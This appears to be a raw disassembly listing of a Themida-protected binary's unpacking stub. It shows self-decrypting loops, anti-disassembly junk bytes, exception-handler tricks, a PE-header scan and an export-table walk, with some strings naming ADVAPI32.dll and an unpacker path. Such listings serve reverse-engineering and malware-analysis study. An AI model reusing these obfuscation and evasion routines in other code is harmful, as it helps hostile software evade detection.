		dd 2Ch,	5DD000h, 2 dup(0)
		dd 81CDDA00h, 5E12567Ch, 0
		dd 51100000h, 0
		dd 85FD7600h, 72h, 5DED2600h, 2	dup(0)
		dd 5D5F9B00h, 3	dup(0)
		dd 64EE5000h, 1Ah, 9 dup(0)
		dd 60BD6000h, 63109B00h, 8 dup(0)
		dd 797FFF00h, 2, 5 dup(0)
		dd 0A1AEE100h, 4240FFh,	3 dup(0)
		dd 0E480C00h, 0D0h, 6 dup(0)
		dd 90EB9400h, 7200007Ch, 2, 0
		dd 12FF5400h, 0FFFFFF00h, 0FFh,	8 dup(0)
		dd 5F265000h, 6	dup(0)
		dd 37EC00h, 3 dup(0)
		dd 12FE8000h, 2	dup(0)
		dd 2633A900h, 98h, 72000000h, 1B6D0B02h, 0BDh, 2 dup(0)
		dd 80180E00h, 0D8D6297Ch, 0B7h,	4 dup(0)
		dd 87139100h, 0B537EC3Bh, 0
		dd 840200h, 0Dh	dup(0)
		dd 0DF57FF00h, 7Bh, 4 dup(0)
		dd 0AB3C6F00h, 24242419h, 24h, 4 dup(0)
		dd 0FF9BB400h, 0F36C5BFFh, 76h,	0
		dd 62A81900h, 0EDh, 4 dup(0)
		dd 85FD7600h, 825A9F72h, 9Ah, 3	dup(0)
		dd 40000000h, 6	dup(0)
		dd 64907600h, 0F8h, 0EFDF8200h,	135h, 0BF7F3800h, 0DEh
		dd 3 dup(0)
		dd 0B5000000h, 8 dup(0)
		dd 809B4700h, 7Ch, 4 dup(0)
		dd 2CE900h, 2 dup(0)
		dd 0B0E900h, 6 dup(0)
		dd 5A569700h, 5E95DF00h, 0B5B50800h, 0Ah dup(0)
		dd 80263C00h, 7Ch, 0
		dd 9D39CD00h, 90h, 0
		dd 0DD000000h, 77h, 6 dup(0)
		dd 0BD33E00h, 24h, 2 dup(0)
		dd 0A18ED100h, 0FFh, 2Dh dup(0)
		dd 0D6AEDA00h, 0DDEE5A36h, 77h,	2 dup(0)
		dd 5E95F100h, 3	dup(0)
		dd 0C20E7400h, 29h, 3 dup(0)
		dd 28000h, 0Ah dup(0)
		dd 5F805100h, 5	dup(0)
		dd 6469E700h, 0
		dd 0A5FFDD00h, 0FFh, 801BF600h,	7Ch, 12h dup(0)
		dd 90EB9400h, 7Ch, 863F5800h, 7Ch, 46DA4400h, 0C2h, 5 dup(0)
		dd 0B58B2800h, 0FFF5D800h, 0FFh, 0A5CFEF00h, 0FFh, 1A460500h
		dd 0BDh, 5 dup(0)
		dd 80001000h, 42h, 0
		dd 5D5C3600h, 0B50ED000h, 0BA917800h, 7	dup(0)
		dd 0E4950400h, 0DCh, 8 dup(0)
		dd 5E95DF00h, 0E400h, 0
		dd 0DB530000h, 89h, 0
		dd 0E882CA00h, 0C7h, 41000000h,	7Eh, 83h dup(0)
		dd 0DDEDE500h, 77h, 0DDEE3700h,	77h, 5A301100h,	9 dup(0)
		dd 0C800h, 5EC86700h, 0
		dd 6388BF00h, 2	dup(0)
		dd 9C00h, 3 dup(0)
		dd 0B5FA0300h, 8 dup(0)
		dd 90EB9400h, 0B5180F7Ch, 2 dup(0)
		dd 5A301100h, 200000h, 5EE69200h, 3 dup(0)
		dd 9CA20800h, 0ACFFh, 90EE1800h, 7Ch, 5A002300h, 5 dup(0)
		dd 0A800h, 4 dup(0)
		dd 0F7D25600h, 31h, 0
		dd 0BB0B6C00h, 0ED014400h, 0FFh, 0
		dd 0B537EC00h, 2 dup(0)
		dd 691FFF00h, 0E3h, 2 dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 5E002300h, 14h dup(0)
		dd 100h, 5 dup(0)
		dd 3E2E4800h, 2Eh, 2 dup(0)
		dd 866500h, 0
		dd 9A2ABE00h, 2Ch, 5A002300h, 5A275D00h, 4 dup(0)
		dd 38DD00h, 2 dup(0)
		dd 0BCDBFE00h, 7 dup(0)
		dd 0DD6BF000h, 77h, 2 dup(0)
		dd 609DA700h, 0
		dd 0FFFFFF00h, 0FFh, 4 dup(0)
		dd 64D24900h, 5A504D00h, 0
		dd 12FF5400h, 2	dup(0)
		dd 0B58E5100h, 29228B00h, 55h, 2 dup(0)
		dd 5A5ABB00h, 0
		dd 0B800h, 12h dup(0)
		dd 12798D00h, 2	dup(0)
		dd 97FAF200h, 635DF8DAh, 2 dup(0)
		dd 3B600h, 0A65C6400h, 0DCh, 4 dup(0)
		dd 5DB34400h, 0Ah dup(0)
		dd 90EB9400h, 7Ch, 6 dup(0)
		dd 97000000h, 2, 0
		dd 0ED23300h, 83h, 90EB9400h, 7Ch, 4 dup(0)
		dd 5F89CF00h, 2	dup(0)
		dd 0CE00h, 0
		dd 0FF95FF00h, 4AE7F100h, 0FFh,	10h dup(0)
		dd 100h, 4 dup(0)
		dd 64D24900h, 0F0770600h, 38h, 5EE61300h, 0F2CF9400h, 0FFh
		dd 0
		dd offset dword_659E00
		dd 0Bh dup(0)
		dd 90A5CA00h, 6000987Ch, 5 dup(0)
		dd 400E900h, 6 dup(0)
		dd 25E00000h, 5	dup(0)
		dd 0DFFFFF00h, 6364E37Fh, 0Bh dup(0)
		dd 0B6195500h, 55h, 2 dup(0)
		dd 39EEB800h, 53h, 310300h, 7A028A00h, 8Dh, 4 dup(0)
		dd 9800h, 5A002300h, 0Bh dup(0)
		dd 90CD5800h, 5Ah, 3 dup(0)
		dd 77FFB000h, 1, 0A16A2100h, 0FFh, 5E95DF00h, 12FFE000h
		dd 4 dup(0)
		dd 11111100h, 11h, 6Fh dup(0)
		dd 1EA77300h, 3Dh, 0
		dd 83794500h, 1130147Ch, 0
		dd 0FE800h, 0
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 60014000h, 0
		dd 5E5C0400h, 0B0h, 3 dup(0)
		dd 0B5FA0300h, 0Bh dup(0)
		dd 9581900h, 0F2179000h, 76h, 2	dup(0)
		dd 0A400h, 4 dup(0)
		dd 3BA9FC00h, 7Ch, 2 dup(0)
		dd 1DE58600h, 0Eh, 99CEA300h, 0C1h, 4 dup(0)
		dd 5A804800h, 6	dup(0)
		dd 5FBF4E00h, 2	dup(0)
		dd 5A6A9D00h, 4	dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737973h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0)
		dd 0D4D3C300h, 61CA700Bh, 0F5h,	4 dup(0)
		dd 0BB0B6C00h, 2 dup(0)
		dd 9400h, 4 dup(0)
		dd 8000E800h, 7Ch, 6 dup(0)
		dd 63122700h, 73655200h, 74726174h, 2E707041h, 657865h
		dd 9163A800h, 7Ch, 1E118800h, 0
		dd 99BF7200h, 5DB948ACh, 0
		dd 0B5FA0300h, 61D5EA00h, 4 dup(0)
		dd 10800h, 7 dup(0)
		dd 0BB0B6C00h, 3D9400h,	0
		dd 0FD90D400h, 0FAh, 3 dup(0)
		dd 4A085D00h, 39h, 0
		dd 14000000h, 0Bh dup(0)
		dd 30DF00h, 0A41FA400h,	85h, 2 dup(0)
		dd 5A002300h, 8	dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0B5FA37h, 448BE0FFh,	0E0FF0424h, 13h	dup(0)
		dd 0E000h, 3 dup(0)
		dd 0B58D2000h, 0
		dd 5FFF6D00h, 2	dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 7Dh dup(0)
		dd 8400h, 0
		dd 1900h, 2000000h, 5 dup(0)
		dd 351800h, 2 dup(0)
		dd 6154E500h, 0DE28D800h, 6, 11h dup(0)
		dd 36363600h, 36h, 6096ED00h, 0Ch dup(0)
		dd 0ED00AC00h, 0FFh, 4 dup(0)
		dd 0BDB900h, 12FF5400h,	3 dup(0)
		dd 0A1292700h, 0FFh, 1Ch dup(0)
		dd 0FF997C00h, 0FFh, 6 dup(0)
		dd 0B10A4400h, 82h, 0Fh	dup(0)
		dd 812A0900h, 7Ch, 0
		dd 1E4A9E00h, 0Fh, 0Fh dup(0)
		dd 6357EF00h, 0DD788300h, 77h, 0
		dd 610FA000h, 41A8AD00h, 7Eh, 1Ch dup(0)
		dd 2000h, 5 dup(0)
		dd 6F146C00h, 83h, 6 dup(0)
		dd 5A567700h, 5E125600h, 80B4CF00h, 7Ch, 0F000h, 4 dup(0)
		dd 0A000h, 6 dup(0)
		dd 5A444100h, 5E125600h, 5 dup(0)
		dd 0BEA89C00h, 8Ah, 4 dup(0)
		dd 0A000h, 90EB9400h, 5E5A037Ch, 3 dup(0)
		dd 29228B00h, 55h, 2 dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 12FE8000h, 3D986F00h, 0B5AAA121h, 5F19D100h,	3C00h
		dd 2 dup(0)
		dd 9CEE9D00h, 0FFh, 2 dup(0)
		dd 0F0D22A00h, 4A0E93BCh, 0FFh,	0
		dd 2753B700h, 0BE07A475h, 9AA000h, 6 dup(0)
		dd 85FD7600h, 369F3F72h, 9 dup(0)
		dd 9D57E700h, 12h, 64907600h, 0C913F8h,	0B5FA3700h, 2 dup(0)
		dd 0BB0B6C00h, 2 dup(0)
		dd 0B51A4400h, 2 dup(0)
		dd 5A301100h, 0
		db 0
; ---------------------------------------------------------------------------


loc_5A5071:				; CODE XREF: Themida_:loc_5A1B04j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7FA3577h
		mov	[ebp+7FA0A9Dh],	edx
		mov	[ebp+7FA33BDh],	esi
		mov	[ebp+7FA14D9h],	eax
		cmp	dword ptr [ebp+7FA2625h], 0
		jz	short loc_5A50A9
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5A50A9:				; CODE XREF: Themida_:005A509Bj
		mov	eax, [esp+24h]
		mov	[ebp+7FA1AC5h],	eax
		push	45h
		call	sub_5A515D
		push	783749Ah
		call	sub_5A51A3
		push	0A894B25h
		call	sub_5A51A3
		jmp	loc_5A52E7
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A515D	proc near		; CODE XREF: Themida_:005A50B5p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7FA3665h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_5A5179:				; CODE XREF: sub_5A515D+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_5A5198
		mov	eax, [ebp+arg_0]
		mov	[ebx+7FA35CFh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5A5179
; ---------------------------------------------------------------------------


loc_5A5198:				; CODE XREF: sub_5A515D+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5A515D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A51A3	proc near		; CODE XREF: Themida_:005A50BFp
					; Themida_:005A50C9p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7FA36AEh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_5A51C9:				; CODE XREF: sub_5A51A3+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5A51C9
		mov	[ebp+var_84], 0
		lea	edi, [edx+7FA35CFh]
		lea	esi, [ebp+var_80]


loc_5A51F9:				; CODE XREF: sub_5A51A3+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_5A5205:				; CODE XREF: sub_5A51A3+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_5A5205
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5A51F9
		popa
		leave
		retn	4
sub_5A51A3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5A5243
; ---------------------------------------------------------------------------


loc_5A523F:				; CODE XREF: Themida_:005A5246j
		inc	dword ptr [ebp-4]
		inc	esi


loc_5A5243:				; CODE XREF: Themida_:005A523Dj
		cmp	byte ptr [esi],	0
		jnz	short loc_5A523F
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5A52D4
; ---------------------------------------------------------------------------


loc_5A5255:				; CODE XREF: Themida_:005A52D7j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5A52CB
; ---------------------------------------------------------------------------


loc_5A525E:				; CODE XREF: Themida_:005A52CFj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_5A52B8
; ---------------------------------------------------------------------------


loc_5A526E:				; CODE XREF: Themida_:005A52BCj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5A5290
		cmp	bl, 39h
		ja	short loc_5A5290
		sub	bl, 30h
		jmp	short loc_5A52B2
; ---------------------------------------------------------------------------


loc_5A5290:				; CODE XREF: Themida_:005A5284j
					; Themida_:005A5289j
		cmp	bl, 61h
		jb	short loc_5A52A2
		cmp	bl, 66h
		ja	short loc_5A52A2
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_5A52B2
; ---------------------------------------------------------------------------


loc_5A52A2:				; CODE XREF: Themida_:005A5293j
					; Themida_:005A5298j
		cmp	bl, 41h
		jb	short loc_5A52B2
		cmp	bl, 46h
		ja	short loc_5A52B2
		sub	bl, 41h
		add	bl, 0Ah


loc_5A52B2:				; CODE XREF: Themida_:005A528Ej
					; Themida_:005A52A0j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_5A52B8:				; CODE XREF: Themida_:005A526Cj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5A526E
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5A52C8
		mov	eax, [ebp-10h]
		stosb


loc_5A52C8:				; CODE XREF: Themida_:005A52C2j
		inc	dword ptr [ebp-8]


loc_5A52CB:				; CODE XREF: Themida_:005A525Cj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5A525E
		add	edx, 4


loc_5A52D4:				; CODE XREF: Themida_:005A5253j
		cmp	edx, [ebp-4]
		jb	loc_5A5255
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_5A52E7:				; CODE XREF: Themida_:005A50CEj
		mov	ecx, 7000h
		lea	edi, [ebp+7FA37F4h]


loc_5A52F2:				; CODE XREF: Themida_:005A52F6j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_5A52F2
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7FA38F9h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	edi
		call	sub_5A532E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A532E	proc near		; CODE XREF: Themida_:005A5326p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5A532E	endp

; ---------------------------------------------------------------------------
		dw 1C98h
; ---------------------------------------------------------------------------
		test	ecx, 76B120B9h
		push	edx
		sub	bh, 0A1h
		pop	ebx
		sub	eax, edx
		mov	bl, 63h
		and	eax, 0FFFFF000h
		push	0
		push	edi
		call	sub_5A535F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A535F	proc near		; CODE XREF: Themida_:005A5357p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5A535F	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		mov	ecx, edx
		xor	edi, edi


loc_5A5374:				; CODE XREF: Themida_:005A538Fj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_5A5389
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_5A5391


loc_5A5389:				; CODE XREF: Themida_:005A5379j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_5A5374
; ---------------------------------------------------------------------------


loc_5A5391:				; CODE XREF: Themida_:005A5387j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7FA390Ch]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_5A53CB
		mov	esi, [eax+1Ch]


loc_5A53CB:				; CODE XREF: Themida_:005A53C6j
		xor	eax, eax


loc_5A53CD:				; CODE XREF: Themida_:005A53E0j
		cmp	eax, 32h
		jz	short loc_5A53F1
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_5A53E2


loc_5A53D9:				; CODE XREF: Themida_:005A53EFj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_5A53CD
; ---------------------------------------------------------------------------


loc_5A53E2:				; CODE XREF: Themida_:005A53D7j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_5A5433
		jmp	short loc_5A53D9
; ---------------------------------------------------------------------------


loc_5A53F1:				; CODE XREF: Themida_:005A53D0j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7FA3917h
		lea	eax, [ebp+7FA38D5h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5A5433:				; CODE XREF: Themida_:005A53EDj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	ebx, esi
		push	0
		push	edx
		call	sub_5A544B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A544B	proc near		; CODE XREF: Themida_:005A5443p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5A544B	endp

; ---------------------------------------------------------------------------
		db 0FAh
		dd 0D98C6665h, 4E180F5h, 13E8h,	0CC0A4E00h, 1355B045h
		dd 4E42CFD0h, 52BF6A26h, 2FADF278h, 0AE8h, 0F1CA3700h
		dd 280C2241h, 603F1F9Fh, 0A5B5B61h, 44850FC9h, 66000000h
		dd 5760DA8Bh, 5EF38B66h, 527F37BBh, 85C76151h, 7FA27ADh
		dd 1, 0E9DA8B66h, 2Fh, 7E8h, 0D3B71D00h, 5D3EC5E0h, 0E95BDE8Ah
		dd 0Fh,	0D7D37CA7h, 0D2CA6EAAh,	0B0877283h, 0C7D792A7h
		dd 0FA27AD85h, 7, 8919B300h, 0FA122985h, 8D858907h, 0E807FA1Eh
		dd 14h,	0A43D4D77h, 0A5DBADE6h,	614B2A4Bh, 42C56CA8h, 0B8F0C11Ch
		dd 2880Fh, 0DF8B0000h, 8E959h, 19A10000h, 88CD4102h, 0C181F13Dh
		dd 7091h, 11E8h, 0C6F27300h, 0CCCEDB80h, 0B25B43C9h, 4432DF36h
		dd 0BE82406h, 0D9000000h, 7F0B6ECh, 4F320050h, 8B0FE066h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		pop	edx
		sub	edi, edi
		mov	ebx, edi


loc_5A555A:				; CODE XREF: Themida_:005A55A0j
		push	dword ptr [edi+ecx]
		jmp	loc_5A556A
; ---------------------------------------------------------------------------
		dw 9C19h
		dd 70BDCFD1h
		db 52h,	13h
; ---------------------------------------------------------------------------


loc_5A556A:				; CODE XREF: Themida_:005A555Dj
		pop	esi
		mov	edx, 111D1709h
		xor	esi, 31DBE226h
		stc
		sub	esi, 565438D3h
		movsx	ebx, dx
		xor	esi, 121473A1h
		mov	[ecx+edi], esi
		or	ax, 0D066h
		push	eax
		mov	dh, 3Ch
		pop	ebx
		sub	edi, 4
		push	ebx
		sbb	dh, 0D4h
		pop	eax
		cmp	edi, 0FFFF901Ch
		jnz	loc_5A555A
		mov	bx, ax
		call	sub_5A55B5
; ---------------------------------------------------------------------------
		dw 8EF3h
		dd 646DC87Ch
		db 0BFh

; =============== S U B	R O U T	I N E =======================================



sub_5A55B5	proc near		; CODE XREF: Themida_:005A55A9p
		call	near ptr loc_5A55CA+2
		mov	al, 4Dh
		push	eax
		mov	dh, 0FCh
		xor	esp, 0FFFFFFFDh
		lock inc esp
		dec	esp
		lodsd
		cdq
		lock loopne near ptr loc_5A5601+1


loc_5A55CA:				; CODE XREF: sub_5A55B5p
		mov	ecx, 5A59F519h
sub_5A55B5	endp ; sp-analysis failed

		call	near ptr sub_5A55E5
		outsd
		and	eax, 7111E325h
		or	al, 0A1h
		or	al, 0F1h
		xchg	eax, ebx
		retn	0EB38h
; ---------------------------------------------------------------------------
		dw 0E419h
		db 65h

; =============== S U B	R O U T	I N E =======================================



sub_5A55E5	proc far		; CODE XREF: Themida_:005A55CFp

var_100		= dword	ptr -100h
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E2		= dword	ptr -0E2h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4A		= dword	ptr -4Ah
var_46		= dword	ptr -46h
var_42		= dword	ptr -42h
var_3E		= dword	ptr -3Eh
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_2A		= dword	ptr -2Ah
var_26		= dword	ptr -26h
var_22		= dword	ptr -22h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_32		= dword	ptr  3Ah

		push	ecx
		jl	$+6
		pop	ebx
		pop	ecx
		add	edx, 5A79h
		movsx	esi, cx
		mov	edi, 166Ch
		mov	si, bx


loc_5A55FF:				; CODE XREF: sub_5A55E5+84j
		mov	eax, [edx]


loc_5A5601:				; CODE XREF: sub_5A55B5+12j
		mov	esi, 25CA24A1h
		add	eax, 53909919h
		mov	si, 4C01h
		add	eax, 21E702E6h
		mov	ebx, 6D3354FCh
		sub	eax, 231C6348h
		jmp	loc_5A562E
; ---------------------------------------------------------------------------
		dw 0BF9h
		dd 14E851A1h
; ---------------------------------------------------------------------------
		sub	ebp, esi


loc_5A562E:				; CODE XREF: sub_5A55E5+3Cj
		mov	[edx], eax
		mov	bl, 0A5h
		sub	edx, 543A022Ah
		pusha
		jb	loc_5A5642
		movzx	edx, si


loc_5A5642:				; CODE XREF: sub_5A55E5+54j
		jmp	loc_5A5651
; ---------------------------------------------------------------------------
		mov	byte ptr [ecx+73519A52h], 0B1h
		daa
		lodsb
		std


loc_5A5651:				; CODE XREF: sub_5A55E5:loc_5A5642j
		popa
		add	edx, 543A0226h
		jmp	loc_5A5663
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pusha
		retn	2EB7h
; ---------------------------------------------------------------------------
		db 0B5h
; ---------------------------------------------------------------------------


loc_5A5663:				; CODE XREF: sub_5A55E5+73j
		sub	edi, 1
		jnz	loc_5A55FF
		jg	loc_5A567B
		sub	ecx, 71CF4812h


loc_5A567B:				; CODE XREF: sub_5A55E5+8Aj
		jmp	short loc_5A5681
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_5A5681:				; CODE XREF: sub_5A55E5:loc_5A567Bj
		jmp	loc_5A5D19
; ---------------------------------------------------------------------------
		pusha
		sub	bh, 0C9h
		jmp	loc_5A5696
; ---------------------------------------------------------------------------
		db 0F0h
		dd 1BB87043h
; ---------------------------------------------------------------------------
		or	[eax], bl


loc_5A5696:				; CODE XREF: sub_5A55E5+A5j
		popa
		pusha
		xor	[ebp+7FA2029h],	esi
		mov	eax, 0
		pusha
		mov	[ebp+7FA27DDh],	esi
		sbb	edi, 1F0C23E6h
		popa
		mov	edx, [esp+1Ch+arg_8]
		jnp	loc_5A56C1
		or	[ebp+7FA0605h],	eax


loc_5A56C1:				; CODE XREF: sub_5A55E5+D0j
		mov	[ebp+7FA06C1h],	eax
		jnz	loc_5A56CE
		cld


loc_5A56CE:				; CODE XREF: sub_5A55E5+E2j
		mov	esi, 3Ch
		mov	[ebp+7FA34B5h],	esi
		add	esi, [esp+1Ch+arg_4]
		sub	[ebp+7FA1339h],	ecx
		lodsw
		sub	[ebp+7FA18A5h],	ebx
		add	eax, [esp+1Ch+arg_4]
		jno	loc_5A5701
		jbe	loc_5A5701
		mov	[ebp+7FA3121h],	edi


loc_5A5701:				; CODE XREF: sub_5A55E5+10Aj
					; sub_5A55E5+110j
		mov	[ebp+7FA2D59h],	eax
		push	eax
		pusha
		mov	al, 3Ah
		mov	ax, bx
		popa
		mov	[esp+20h+var_22+2], eax
		jmp	loc_5A5723
; ---------------------------------------------------------------------------
		db 67h
		dd 26C680FBh, 12E40092h
		db 97h,	0Ah, 6Bh
; ---------------------------------------------------------------------------


loc_5A5723:				; CODE XREF: sub_5A55E5+12Dj
		mov	eax, [eax+78h]
		jmp	loc_5A5737
; ---------------------------------------------------------------------------
		db 0A3h
		dd 2A78DA42h, 0D34B4CBAh
		db 34h,	5Bh, 1Dh
; ---------------------------------------------------------------------------


loc_5A5737:				; CODE XREF: sub_5A55E5+141j
		pusha
		cmc
		mov	[ebp+7FA1D51h],	ecx
		popa
		add	eax, [esp+20h+arg_4]
		sub	[ebp+7FA2D21h],	ecx
		mov	eax, [eax+18h]
		add	[ebp+7FA3471h],	ebx
		inc	eax
		mov	[ebp+7FA26B9h],	eax
		mov	[ebp+7FA3B79h],	eax
		jmp	loc_5A576E
; ---------------------------------------------------------------------------
		db 6, 34h, 0ACh
		dd 0B160B98h
		db 0E4h, 7Fh
; ---------------------------------------------------------------------------


loc_5A576E:				; CODE XREF: sub_5A55E5+17Bj
		pop	eax
		mov	[ebp+7FA19FDh],	esi
		mov	esi, [eax+78h]
		jnb	loc_5A5786
		jbe	loc_5A5786
		pusha
		popa


loc_5A5786:				; CODE XREF: sub_5A55E5+193j
					; sub_5A55E5+199j
		add	esi, 1Ch
		or	[ebp+7FA1CFDh],	edx
		add	esi, [esp+1Ch+arg_4]
		jmp	loc_5A57A0
; ---------------------------------------------------------------------------
		dd 2A70E526h, 9E064E62h
; ---------------------------------------------------------------------------


loc_5A57A0:				; CODE XREF: sub_5A55E5+1AEj
		lea	edi, [ebp+7FA3559h]
